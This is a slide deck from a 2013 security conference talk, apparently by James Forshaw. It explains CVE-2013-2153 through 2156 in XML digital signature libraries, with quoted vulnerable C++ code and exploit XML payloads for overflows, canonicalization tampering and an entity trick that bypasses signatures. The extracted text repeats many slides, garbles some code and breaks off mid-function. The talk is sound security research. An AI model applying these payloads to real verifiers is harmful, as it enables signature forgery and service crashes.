SlideShare a Scribd company logo
The Forger’s Art

Exploiting XML Digital Signature Implementations
44con 2013

James Forshaw (@tiraniddo)
Research. Response. Assurance.

@CTXIS
What am I going to talk
about?
• XML Digital Signature Implementations
• Vulnerabilities and how to exploit
– Memory Corruption
– Denial of Service
– Parsing Issues
– Signature Spoofing

• Demos
Why?
•
•
•
•
•

SOAP Web Service Security
Visa 3D Secure / Verified by Visa
SAML Assertions
MS Office Signatures
.NET ClickOnce/XBAP Manifests
Once upon a time,
on a client site...
Implementations
Existing Attacks
• Been numerous attacks against XML
Digital Signatures
• HMAC Truncation (CVE-2009-0217)
• Signature Wrapping
• XSLT – DoS/Remote Code Execution
What are XML Digital
Signatures?
XML Digital Signatures
Signing XML
<good/>

Read Bytes

XML Document

Sign

Signature
Signing XML

S/MIME? PGP?
<good/>

XML Document

Signature
Of Course Not
As the "great" Steve Ballmer
might have said:
"XML Developers,
XML Developers,
XML Developers!"
Signing XML
<good/>

Reference

Canonicalize

Transform

<SignedInfo>
<CanonicalizationMethod/>
<SignatureMethod/>
<Reference URI="#id">
<Transforms/>
<DigestMethod/>
<DigestValue>C2pG...
</DigestValue>
</Reference>
</SignedInfo>

Digest
SHA1:
5282abc
5efefa0
...

Digest

XML Document

<good/>

SignedInfo

<good/>

Build Result

Sign

Identity

Signed XML
Document

SHA1:
09381a0
9812f20
...
Signed XML Document
<good>
<Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
<SignedInfo>
<CanonicalizationMethod
Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315"/>
<SignatureMethod
Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
<Reference URI="">
<Transforms>
<Transform
Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
</Transforms>
<DigestMethod
Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
<DigestValue>C2pG...</DigestValue>
</Reference>
</SignedInfo>
<SignatureValue>K4TYp...</SignatureValue>
</Signature>
</good>
Signed XML Document
<good>
<Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
<SignedInfo>
<CanonicalizationMethod
Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315"/>
<SignatureMethod
Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
<Reference URI="">
<Transforms>
<Transform
Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
</Transforms>
<DigestMethod
Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
<DigestValue>C2pG...</DigestValue>
</Reference>
</SignedInfo>
<SignatureValue>K4TYp...</SignatureValue>
</Signature>
</good>
Signed XML Document
<good>
<Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
<SignedInfo>
<CanonicalizationMethod
Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315"/>
<SignatureMethod
Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
<Reference URI="">
<Transforms>
<Transform
Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
</Transforms>
<DigestMethod
Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
<DigestValue>C2pG...</DigestValue>
</Reference>
</SignedInfo>
<SignatureValue>K4TYp...</SignatureValue>
</Signature>
</good>
Signed XML Document
<good>
<Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
<SignedInfo>
<CanonicalizationMethod
Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315"/>
<SignatureMethod
Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
<Reference URI="">
<Transforms>
<Transform
Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
</Transforms>
<DigestMethod
Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
<DigestValue>C2pG...</DigestValue>
</Reference>
</SignedInfo>
<SignatureValue>K4TYp...</SignatureValue>
</Signature>
</good>
Signed XML Document
<good>
<Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
<SignedInfo>
<CanonicalizationMethod
Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315"/>
<SignatureMethod
Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
<Reference URI="">
<Transforms>
<Transform
Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
</Transforms>
<DigestMethod
Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
<DigestValue>C2pG...</DigestValue>
</Reference>
</SignedInfo>
<SignatureValue>K4TYp...</SignatureValue>
</Signature>
</good>
Verification Pipeline
<good/>

Signature
Parsing

<SignedInfo>
<CanonicalizationMethod/>
<SignatureMethod/>
<Reference URI="#id">
<Transforms/>
<DigestMethod/>
<DigestValue>C2pG...
</DigestValue>
</Reference>
</SignedInfo>

SignedInfo
Verification

Reference
Verification

?
Signature Parsing Bugs
CVE-2013-2156
• Affected Apache Santuario C++
• Unauthenticated
• Heap overflow in Exclusive
Canonicalization prefix list
Canonicalization Prefix List

<Transform
Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#">
<InclusiveNamespaces PrefixList="xsd ds"
xmlns="http://www.w3.org/2001/10/xml-exc-c14n#"/>
</Transform>
Canonicalization Prefix List

<Transform
Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#">
<InclusiveNamespaces PrefixList="xsd ds"
xmlns="http://www.w3.org/2001/10/xml-exc-c14n#"/>
</Transform>
CVE-2013-2156
bool isWhiteSpace(char c) {
return c == ' ' || c == '0' || c == 't'
|| c == 'r' || c == 'n';
}
void XSECC14n20010315::setExclusive(char * xmlnsList) {
char* nsBuf = new char [strlen(xmlnsList) + 1];
int i = 0, j = 0;
while (xmlnsList[i] != '0') {
while (isWhiteSpace(xmlnsList[i]))
++i; // Skip white space
j = 0;
while (!isWhiteSpace(xmlnsList[i]))
nsBuf[j++] = xmlnsList[i++]; // Copy name
// Terminate the string
nsBuf[j] = '0';
// Add to exclusive list
m_exclNSList.push_back(strdup(nsBuf));
}
}
CVE-2013-2156
bool isWhiteSpace(char c) {
return c == ' ' || c == '0' || c == 't'
|| c == 'r' || c == 'n';
}
void XSECC14n20010315::setExclusive(char * xmlnsList) {
char* nsBuf = new char [strlen(xmlnsList) + 1];
int i = 0, j = 0;
while (xmlnsList[i] != '0') {
while (isWhiteSpace(xmlnsList[i]))
++i; // Skip white space
j = 0;
while (!isWhiteSpace(xmlnsList[i]))
nsBuf[j++] = xmlnsList[i++]; // Copy name
// Terminate the string
nsBuf[j] = '0';
// Add to exclusive list
m_exclNSList.push_back(strdup(nsBuf));
}
}
CVE-2013-2156
bool isWhiteSpace(char c) {
return c == ' ' || c == '0' || c == 't'
|| c == 'r' || c == 'n';
}
void XSECC14n20010315::setExclusive(char * xmlnsList) {
char* nsBuf = new char [strlen(xmlnsList) + 1];
int i = 0, j = 0;
while (xmlnsList[i] != '0') {
while (isWhiteSpace(xmlnsList[i]))
++i; // Skip white space
j = 0;
while (!isWhiteSpace(xmlnsList[i]))
nsBuf[j++] = xmlnsList[i++]; // Copy name
// Terminate the string
nsBuf[j] = '0';
// Add to exclusive list
m_exclNSList.push_back(strdup(nsBuf));
}
}
CVE-2013-2156
bool isWhiteSpace(char c) {
return c == ' ' || c == '0' || c == 't'
|| c == 'r' || c == 'n';
}
void XSECC14n20010315::setExclusive(char * xmlnsList) {
char* nsBuf = new char [strlen(xmlnsList) + 1];
int i = 0, j = 0;
while (xmlnsList[i] != '0') {
while (isWhiteSpace(xmlnsList[i]))
++i; // Skip white space
j = 0;
while (!isWhiteSpace(xmlnsList[i]))
nsBuf[j++] = xmlnsList[i++]; // Copy name
// Terminate the string
nsBuf[j] = '0';
// Add to exclusive list
m_exclNSList.push_back(strdup(nsBuf));
}
}
CVE-2013-2156
bool isWhiteSpace(char c) {
return c == ' ' || c == '0' || c == 't'
|| c == 'r' || c == 'n';
}
void XSECC14n20010315::setExclusive(char * xmlnsList) {
char* nsBuf = new char [strlen(xmlnsList) + 1];
int i = 0, j = 0;
while (xmlnsList[i] != '0') {
while (isWhiteSpace(xmlnsList[i]))
++i; // Skip white space
j = 0;
while (!isWhiteSpace(xmlnsList[i]))
nsBuf[j++] = xmlnsList[i++]; // Copy name
// Terminate the string
nsBuf[j] = '0';
// Add to exclusive list
m_exclNSList.push_back(strdup(nsBuf));
}
}
CVE-2013-2156
bool isWhiteSpace(char c) {
return c == ' ' || c == '0' || c == 't'
|| c == 'r' || c == 'n';
}
void XSECC14n20010315::setExclusive(char * xmlnsList) {
char* nsBuf = new char [strlen(xmlnsList) + 1];
int i = 0, j = 0;
while (xmlnsList[i] != '0') {
while (isWhiteSpace(xmlnsList[i]))
++i; // Skip white space
j = 0;
while (!isWhiteSpace(xmlnsList[i]))
nsBuf[j++] = xmlnsList[i++]; // Copy name
// Terminate the string
nsBuf[j] = '0';
// Add to exclusive list
m_exclNSList.push_back(strdup(nsBuf));
}
}
CVE-2013-2156
bool isWhiteSpace(char c) {
return c == ' ' || c == '0' || c == 't'
|| c == 'r' || c == 'n';
}
void XSECC14n20010315::setExclusive(char * xmlnsList) {
char* nsBuf = new char [strlen(xmlnsList) + 1];
int i = 0, j = 0;
while (xmlnsList[i] != '0') {
while (isWhiteSpace(xmlnsList[i]))
++i; // Skip white space
j = 0;
while (!isWhiteSpace(xmlnsList[i]))
nsBuf[j++] = xmlnsList[i++]; // Copy name
// Terminate the string
nsBuf[j] = '0';
// Add to exclusive list
m_exclNSList.push_back(strdup(nsBuf));
}
}
Exploiting It
<Reference URI="">
<Transforms>
<Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#">
<InclusiveNamespaces PrefixList="AAAA..."/>
</Transform>
<Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#">
<InclusiveNamespaces PrefixList="&#20;"/>
</Transform>
</Transforms>
</Reference>
Exploiting It
<Reference URI="">
<Transforms>
<Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#">
<InclusiveNamespaces PrefixList="AAAA..."/>
</Transform>
<Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#">
<InclusiveNamespaces PrefixList="&#20;"/>
</Transform>
</Transforms>
</Reference>
Exploiting It
<Reference URI="">
<Transforms>
<Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#">
<InclusiveNamespaces PrefixList="AAAA..."/>
</Transform>
<Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#">
<InclusiveNamespaces PrefixList="&#20;"/>
</Transform>
</Transforms>
</Reference>
First Transform
xmlnsList

'A'

'A'

'A'

'A'

'A'

'A'

'A'

'A'

nsBuf

'A'

'A'

'A'

'A'

'A'

'A'

'A'

'A'
Second Transform
isWhiteSpace() == true

i

xmlnsList

' '

0

j

nsBuf

X

X

'A'

'A'

'A'

'A'

'A'

'A'
Second Transform
isWhiteSpace() == true

i

xmlnsList

' '

0

j

nsBuf

X

X

'A'

'A'

'A'

'A'

'A'

'A'
Second Transform
isWhiteSpace() == false

i

xmlnsList

' '

0

j

nsBuf

'A'

X

'A'

'A'

'A'

'A'

'A'

'A'
Second Transform
xmlnsList

' '

0

'A'

'A'

'A'

'A'

'A'

'A'

nsBuf

'A'

'A'
X

'A'

'A'

'A'

'A'

'A'

'A'
CVE-2013-2154
• Affected Apache Santuario C++
• Unauthenticated
• Stack overflow parsing a Reference
URI
• Bonus: Fix was wrong, ended up with a
heap overflow instead 
Reference URIs
<good id="xyz">
</good>
Reference Type

Example

ID Reference

<Reference URI="#xyz">

Entire Document

<Reference URI="">

XPointer ID

<Reference URI="#xpointer(id('xyz'))">

XPointer Entire Document

<Reference URI="#xpointer(/)">

External

<Reference URI="http://domain.com/file.xml">
CVE-2013-2154
const char* URI = getReferenceUri();
// Check for #xpointer(id('A'))
if (strncmp(URI, "#xpointer(id('", 14)
{
size_t len = strlen(&URI[14]);
char tmp[512];
if (len > 511)
len = 511;
size_t j = 14, i = 0;

// Extract ID value
while (URI[j] != ''') {
tmp[i++] = URI[j++];
}
tmp[i] = '0';
}

== 0)
CVE-2013-2154
const char* URI = getReferenceUri();
// Check for #xpointer(id('A'))
if (strncmp(URI, "#xpointer(id('", 14)
{
size_t len = strlen(&URI[14]);
char tmp[512];
if (len > 511)
len = 511;
size_t j = 14, i = 0;

// Extract ID value
while (URI[j] != ''') {
tmp[i++] = URI[j++];
}
tmp[i] = '0';
}

== 0)
CVE-2013-2154
const char* URI = getReferenceUri();
// Check for #xpointer(id('A'))
if (strncmp(URI, "#xpointer(id('", 14)
{
size_t len = strlen(&URI[14]);
char tmp[512];
if (len > 511)
len = 511;
size_t j = 14, i = 0;

// Extract ID value
while (URI[j] != ''') {
tmp[i++] = URI[j++];
}
tmp[i] = '0';
}

== 0)
CVE-2013-2154
const char* URI = getReferenceUri();
// Check for #xpointer(id('A'))
if (strncmp(URI, "#xpointer(id('", 14)
{
size_t len = strlen(&URI[14]);
char tmp[512];
if (len > 511)
len = 511;
size_t j = 14, i = 0;

// Extract ID value
while (URI[j] != ''') {
tmp[i++] = URI[j++];
}
tmp[i] = '0';
}

== 0)
Exploiting It
<root>
<Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
<SignedInfo>
<CanonicalizationMethod/>
<SignatureMethod/>
<Reference URI="#xpointer(id('AAAA...')">
<Transforms/>
<DigestMethod/>
<DigestValue>C2pG...</DigestValue>
</Reference>
</SignedInfo>
<SignatureValue>B9OL....</SignatureValue>
</Signature>
</root>
Reference Verification Bugs
XML Equivalence
• Different physical XML representations
might still be equivalent
<good x="1" y="2"/>

≡
<good y="2" x="1"></good>
Naïve Verification
<good x="1" y="2"/>

≡

SHA1

1cc730a1b7826...

<good y="2" x="1"></good>

SHA1

≠

3826723a6d5ff15...
Canonicalization (C14N)
<good x="1" y="2"/>

≡

<good y="2" x="1"></good>

Canonicalizer

<good x="1" y="2"></good>
SHA1

9c251a80204943...
Canonicalization (C14N)
XML Document 1

≢

XML Document 2

Canonicalizer

Canonical XML
SHA1

XXXXXXXXXXXXXX...
Mono C14N Vulnerability
• Affected Mono (unfixed)
• Also affected XMLSEC1 (fixed)
• Allows limited signed content
modification
• Same author for both implementations
W3C Canonical XML
The Bug
<good x='"'/>

<good xmlns='"'/>

<good x="&quot;"></good>

<good xmlns="""></good>

LibXML2 Requires Valid URLs for
Namespaces, though Mono doesn't

Still, xmlns='http://["]/' works on XMLSEC1
Exploiting It
<Transaction>
<x:Expiry xmlns:x='http://app/timestamp' time='10:00:00'/>
<Payee>Bob</Payee>
<Amount>$100</Amount>
</Transaction>

bool IsExpired(XmlNode trans) {
XmlNode expiry = trans.GetElementByName("http://app/timestamp", "Expiry");
if(expiry != null)
{
return CheckExpiry(expiry);
}
return false;
}
Exploiting It
<Transaction>
<x:Expiry xmlns:x='http://app/timestamp" time="10:00:00'/>
<Payee>Bob</Payee>
<Amount>$100</Amount>
</Transaction>

<Transaction>
<x:Expiry xmlns:x="http://app/timestamp" time="10:00:00"/>
<Payee>Bob</Payee>
<Amount>$100</Amount>
</Transaction>

NS Before = 'http://app/timestamp" time="10:00:00'
NS After = 'http://app/timestamp'
CVE-2013-2153
•
•
•
•

Affected Apache Santuario C++
Signature Bypass by Hiding References
Uses an Interesting parsing exploit
Almost works in Mono, but they got
Lucky!
CVE-2013-2153
bool DSIGSignature::verify(void) {
// First thing to do is check the references
bool referenceCheckResult = mp_signedInfo->verify();
// Check the signature
bool sigVfyResult = verifySignatureOnlyInternal();
return sigVfyResult & referenceCheckResult;
}
CVE-2013-2153
bool DSIGSignature::verify(void) {
// First thing to do is check the references
// bool referenceCheckResult = mp_signedInfo->verify();
-----------------------------------------//
Verify each reference element
// Check the signature
// -----------------------------------------bool sigVfyResult = verifySignatureOnlyInternal();

}

bool DSIGSignedInfo::verify() {
return sigVfyResult & referenceCheckResult;
return DSIGReference::verifyReferenceList(mp_referenceList);
}
CVE-2013-2153
bool DSIGSignature::verify(void) {

}

// First thing to do is check the references
// bool referenceCheckResult = mp_signedInfo->verify();
-----------------------------------------bool DSIGReference::verifyReferenceList(DSIGReferenceList * lst) {
//
Verify each reference element
// Run through a list of hashes and checkHash for each one
// Check the signature
// -----------------------------------------bool res = true;
bool sigVfyResult = verifySignatureOnlyInternal();
int size = lst->getSize();
bool DSIGSignedInfo::verify() { ++i) {
for (int i = 0; i < size;
return sigVfyResult & referenceCheckResult;
return DSIGReference::verifyReferenceList(mp_referenceList);
if (lst->item(i)->checkHash()) {
}
res = false;
}
}
return res;
}
CVE-2013-2153
bool DSIGSignature::verify(void) {

}

// First thing to do is check the references
// bool referenceCheckResult = mp_signedInfo->verify();
-----------------------------------------bool DSIGReference::verifyReferenceList(DSIGReferenceList * lst) {
//
Verify each reference element
// Run through a list of hashes and checkHash for each one
// Check the signature
// -----------------------------------------bool res = true;
bool sigVfyResult = verifySignatureOnlyInternal();
int size = lst->getSize();
bool DSIGSignedInfo::verify() { ++i) {
for (int i = 0; i < size;
return sigVfyResult & referenceCheckResult;
return DSIGReference::verifyReferenceList(mp_referenceList);
if (lst->item(i)->checkHash()) {
}
res = false;
}
}
return res;
}
CVE-2013-2153
bool DSIGSignature::verify(void) {

}

// First thing to do is check the references
// bool referenceCheckResult = mp_signedInfo->verify();
-----------------------------------------bool DSIGReference::verifyReferenceList(DSIGReferenceList * lst) {
//
Verify each reference element
// Run through a list of hashes and checkHash for each one
// Check the signature
// -----------------------------------------bool res = true;
bool sigVfyResult = verifySignatureOnlyInternal();
int size = lst->getSize();
bool DSIGSignedInfo::verify() { ++i) {
for (int i = 0; i < size;
return sigVfyResult & referenceCheckResult;
return DSIGReference::verifyReferenceList(mp_referenceList);
if (lst->item(i)->checkHash()) {
}
res = false;
}
}
return res;
}
CVE-2013-2153
bool DSIGSignature::verify(void) {

}

// First thing to do is check the references
// bool referenceCheckResult = mp_signedInfo->verify();
-----------------------------------------bool DSIGReference::verifyReferenceList(DSIGReferenceList * lst) {
//
Verify each reference element
// Run through a list of hashes and checkHash for each one
// Check the signature
// -----------------------------------------bool res = true;
bool sigVfyResult = verifySignatureOnlyInternal();
int size = lst->getSize();
bool DSIGSignedInfo::verify() { ++i) {
for (int i = 0; i < size;
return sigVfyResult & referenceCheckResult;
return DSIGReference::verifyReferenceList(mp_referenceList);
if (lst->item(i)->checkHash()) {
}
res = false;
}
}
return true;
}
CVE-2013-2153
void DSIGSignedInfo::load(void) {
DOMNode * child = mp_signedInfoNode->getFirstChild();
// Load rest of SignedInfo
...

// Now look at references....
child = child->getNextSibling();
// Run through the rest of the elements until done
while (child != 0 && (child->getNodeType() != DOMNode::ELEMENT_NODE))
// Skip text and comments
child = child->getNextSibling();
if (child != NULL)
// Have an element node - should be a reference, so let's load the list
mp_referenceList = DSIGReference::loadReferenceListFromXML(mp_env, child);
}
CVE-2013-2153
void DSIGSignedInfo::load(void) {
DOMNode * child = mp_signedInfoNode->getFirstChild();
// Load rest of SignedInfo
...

// Now look at references....
child = child->getNextSibling();
// Run through the rest of the elements until done
while (child != 0 && (child->getNodeType() != DOMNode::ELEMENT_NODE))
// Skip text and comments
child = child->getNextSibling();
if (child != NULL)
// Have an element node - should be a reference, so let's load the list
mp_referenceList = DSIGReference::loadReferenceListFromXML(mp_env, child);
}
CVE-2013-2153
void DSIGSignedInfo::load(void) {
DOMNode * child = mp_signedInfoNode->getFirstChild();
// Load rest of SignedInfo
...

// Now look at references....
child = child->getNextSibling();
// Run through the rest of the elements until done
while (child != 0 && (child->getNodeType() != DOMNode::ELEMENT_NODE))
// Skip text and comments
child = child->getNextSibling();
if (child != NULL)
// Have an element node - should be a reference, so let's load the list
mp_referenceList = DSIGReference::loadReferenceListFromXML(mp_env, child);
}
CVE-2013-2153
void DSIGSignedInfo::load(void) {
DOMNode * child = mp_signedInfoNode->getFirstChild();
// Load rest of SignedInfo
...

// Now look at references....
child = child->getNextSibling();
// Run through the rest of the elements until done
while (child != 0 && (child->getNodeType() != DOMNode::ELEMENT_NODE))
// Skip text and comments
child = child->getNextSibling();
if (child != NULL)
// Have an element node - should be a reference, so let's load the list
mp_referenceList = DSIGReference::loadReferenceListFromXML(mp_env, child);
}
Parsed DOM Tree
ELEMENT_NODE
<SignedInfo>

ELEMENT_NODE

ELEMENT_NODE

ELEMENT_NODE

<C14NMethod>

<SignatureMethod>

<Reference>

DSIGSignedInfo::load()

ELEMENT_NODE

ELEMENT_NODE

<Transforms>

<Digest>
Parsed DOM Tree

ELEMENT_NODE
<SignedInfo>

ELEMENT_NODE

ELEMENT_NODE

<C14NMethod>

<SignatureMethod>

Not an
ELEMENT_NODE

DSIGSignedInfo::load()
Ignored

ELEMENT_NODE
<Reference>
Parsed DOM Tree

ELEMENT_NODE
<SignedInfo>

ELEMENT_NODE

ELEMENT_NODE

<C14NMethod>

<SignatureMethod>

Not an
ELEMENT_NODE

DSIGSignedInfo::load()
Ignored

ELEMENT_NODE
<Reference>
DOM Node Types
Ref: http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#ID-1590626201
Node Type

Child Types

Attribute

Text, EntityReference

CDATASection

None

Comment

None

Document

Element, ProcessInstruction, Comment, DocumentType

Element

Element, Text, Comment, ProcessingInstruction, CDATASection,
EntityReference

Entity

Element, ProcessingInstruction, Comment, Text, CDATASection,
EntityReference

EntityReference

Element, ProcessingInstruction, Comment, Text, CDATASection,
EntityReference

ProcessingInstruction

None
DOM Node Types
Ref: http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#ID-1590626201
Node Type

Child Types

Attribute

Text, EntityReference

CDATASection

None

Comment

None

Document

Element, ProcessInstruction, Comment, DocumentType

Element

Element, Text, Comment, ProcessingInstruction, CDATASection,
EntityReference

Entity

Element, ProcessingInstruction, Comment, Text, CDATASection,
EntityReference

EntityReference

Element, ProcessingInstruction, Comment, Text, CDATASection,
EntityReference

ProcessingInstruction

None
DOM Node Types
Ref: http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#ID-1590626201
Node Type

Child Types

Attribute

Text, EntityReference

CDATASection

None

Comment

None

Document

Element, ProcessInstruction, Comment, DocumentType

Element

Element, Text, Comment, ProcessingInstruction, CDATASection,
EntityReference

Entity

Element, ProcessingInstruction, Comment, Text, CDATASection,
EntityReference

EntityReference

Element, ProcessingInstruction, Comment, Text, CDATASection,
EntityReference

ProcessingInstruction

None
Entity References
ELEMENT_NODE
<good>

<!DOCTYPE good [
<!ENTITY ent "<b/>">
]>
<good>
<a/>&ent;<c/>
</good>

ELEMENT_NODE

ENTITY_REF_NODE

ELEMENT_NODE

<a>

&ent;

<c>

ELEMENT_NODE
<b>
Canonical Entity References
Ref: http://www.w3.org/TR/xml-c14n
Entity References after C14N

ELEMENT_NODE
<good>

<good>
<a/><b/><c/>
</good>
ELEMENT_NODE

ELEMENT_NODE

ELEMENT_NODE

<a>

<b>

<c>
Exploiting It
<good>
<Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
<SignedInfo>
<CanonicalizationMethod/>
<SignatureMethod/>
<Reference URI="">
<Transforms/>
<DigestMethod/>
<DigestValue>C2pG</DigestValue>
</Reference>
</SignedInfo>
<SignatureValue>B9OL</SignatureValue>
</Signature>
</good>
Exploiting It
<!DOCTYPE good [
<!ENTITY hacked "<Reference URI=&#34;&#34;>...</Reference>">
]>
<good>
<Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
<SignedInfo>
<CanonicalizationMethod/>
<SignatureMethod/>
<Reference URI="">
<Transforms/>
<DigestMethod/>
<DigestValue>C2pG</DigestValue>
</Reference>
</SignedInfo>
<SignatureValue>B9OL</SignatureValue>
</Signature>
</good>
Exploiting It
<!DOCTYPE good [
<!ENTITY hacked "<Reference URI=&#34;&#34;>...</Reference>">
]>
<good>
<Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
<SignedInfo>
<CanonicalizationMethod/>
<SignatureMethod/>
&hacked;
</SignedInfo>
<SignatureValue>B9OL</SignatureValue>
</Signature>
</good>
Parsed DOM Tree
ELEMENT_NODE
<SignedInfo>

ELEMENT_NODE

ELEMENT_NODE

ENTITY_REF_NODE

<C14NMethod>

<SignatureMethod>

&hacked;

DSIGSignedInfo::load()
Ignored
ELEMENT_NODE

<Reference>
SignedInfo Verification
CVE-2013-2155
• Affected Apache C++ (again)
• Circumvented "fix" for HMAC
Truncation (CVE-2009-0217)
• By sheer ineptitude it ended up an DoS
rather than a Signature Bypass
Background CVE-2009-0217
HMAC Truncation
<SignedInfo>
<CanonicalizationMethod
Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315"/>
<SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#hmac-sha1">
<HMACOutputLength>80</HMACOutputLength>
</SignatureMethod>
...
</SignedInfo>

00112233445566778899AABBCCDDEEFF00112233
Truncate to
80 bits

00112233445566778899
HMAC Truncation
<SignedInfo>
<CanonicalizationMethod
Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315"/>
<SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#hmac-sha1">
<HMACOutputLength>0</HMACOutputLength>
</SignatureMethod>
...
</SignedInfo>

00112233445566778899AABBCCDDEEFF00112233
Truncate to
0 bits
CVE-2013-2155

while (child && strcmp(getDSIGLocalName(child, "HMACOutputLength") != 0)
child = child->getNextSibling();
if (child) {
// Have a max output value!
DOMNode *textNode = child->getFirstChild();
if (textNode) {
m_HMACOutputLength = atoi(textNode->getNodeValue());
}
}
CVE-2013-2155

while (child && strcmp(getDSIGLocalName(child, "HMACOutputLength") != 0)
child = child->getNextSibling();
if (child) {
// Have a max output value!
DOMNode *textNode = child->getFirstChild();
if (textNode) {
m_HMACOutputLength = atoi(textNode->getNodeValue());
}
}
CVE-2013-2155

while (child && strcmp(getDSIGLocalName(child, "HMACOutputLength") != 0)
child = child->getNextSibling();
if (child) {
// Have a max output value!
DOMNode *textNode = child->getFirstChild();
if (textNode) {
m_HMACOutputLength = atoi(textNode->getNodeValue());
}
}
CVE-2013-2155

while (child && strcmp(getDSIGLocalName(child, "HMACOutputLength") != 0)
child = child->getNextSibling();
if (child) {
// Have a max output value!
DOMNode *textNode = child->getFirstChild();
if (textNode) {
m_HMACOutputLength = atoi(textNode->getNodeValue());
}
}

So m_HMACOutputLength is an int?
CVE-2013-2155

while (child && strcmp(getDSIGLocalName(child, "HMACOutputLength") != 0)
child = child->getNextSibling();
if (child) {
// First find the appropriate handler for the URI
// Have a max output value!
XSECAlgorithmHandler* handler =
DOMNode *textNode = tmpSOV->getFirstChild();
mapURIToHandler(mp_signedInfo->getAlgorithmURI());
if (textNode) {
m_HMACOutputLength = atoi(textNode->getNodeValue());
bool sigVfyRet = handler->verifyBase64Signature(
}
m_signatureValueSB.rawCharBuffer(),
}
mp_signedInfo->getHMACOutputLength(),
mp_signingKey);
CVE-2013-2155

while (child && strcmp(getDSIGLocalName(child, "HMACOutputLength") != 0)
child = child->getNextSibling();
if (child) {
// First find the appropriate handler for the URI
// Have a max output value!
XSECAlgorithmHandler* handler =
DOMNode *textNode = tmpSOV->getFirstChild();
mapURIToHandler(mp_signedInfo->getAlgorithmURI());
if (textNode) {
m_HMACOutputLength = atoi(textNode->getNodeValue());
bool sigVfyRet = handler->verifyBase64Signature(
}
m_signatureValueSB.rawCharBuffer(),
}
mp_signedInfo->getHMACOutputLength(),
mp_signingKey);
CVE-2013-2155
bool verifyBase64Signature(
const char * sig,
unsigned int outputLen,
const char * hash,
unsigned int hashLen,
XSECCryptoKeyType type) {
if(type == XSECCryptoKey::KEY_HMAC) :
// FIX: CVE-2009-0217
if (outputLen > 0 && (outputLen < 80 || outputLen < hashLen / 2)) {
throw XSECException("HMACOutputLength set to unsafe value.");
}
return
}

compareBase64StringToRaw(sig, hash, hashLen, outputLen);
CVE-2013-2155
bool verifyBase64Signature(
const char * sig,
unsigned int outputLen,
const char * hash,
unsigned int hashLen,
XSECCryptoKeyType type) {
if(type == XSECCryptoKey::KEY_HMAC) :
// FIX: CVE-2009-0217
if (outputLen > 0 && (outputLen < 80 || outputLen < hashLen / 2)) {
throw XSECException("HMACOutputLength set to unsafe value.");
}
return
}

compareBase64StringToRaw(sig, hash, hashLen, outputLen);
CVE-2013-2155
bool verifyBase64Signature(
const char * sig,
unsigned int outputLen,
const char * hash,
unsigned int hashLen,
XSECCryptoKeyType type) {
if(type == XSECCryptoKey::KEY_HMAC) :
// FIX: CVE-2009-0217
if (outputLen > 0 && (outputLen < 80 || outputLen < hashLen / 2)) {
throw XSECException("HMACOutputLength set to unsafe value.");
}
return
}

compareBase64StringToRaw(sig, hash, hashLen, outputLen);
CVE-2013-2155
bool compareBase64StringToRaw(
const char * b64Str,
unsigned char * raw,
unsigned int rawLen,
unsigned int maxCompare) {
unsigned int maxBytes, maxBits;
div_t d = {0};
if(maxCompare == 0) {
maxCompare = rawLen;
}
d = div(maxCompare, 8);
maxBytes = d.quot;
maxBits = d.rem;
return compareBits(decode(b64Str), raw, maxBytes, maxBits);
}
CVE-2013-2155
bool compareBase64StringToRaw(
const char * b64Str,
unsigned char * raw,
unsigned int rawLen,
unsigned int maxCompare) {
unsigned int maxBytes, maxBits;
div_t d = {0};
if(maxCompare == 0) {
maxCompare = rawLen;
}
d = div(maxCompare, 8);
maxBytes = d.quot;
maxBits = d.rem;
return compareBits(decode(b64Str), raw, maxBytes, maxBits);
}
CVE-2013-2155
bool compareBase64StringToRaw(
const char * b64Str,
unsigned char * raw,
bool compareBits(const unsigned char* b64Str,
unsigned int rawLen, char* raw,
const unsigned
unsigned int maxCompare) {
unsigned int maxBytes,
unsigned int maxBits) {
unsigned int maxBytes, maxBits;
div_t d =unsigned int i, j;
{0};
if(maxCompare(i =0) {i < maxBytes; ++ i) {
for == 0;
maxCompare (raw[i] != outputStr[i])
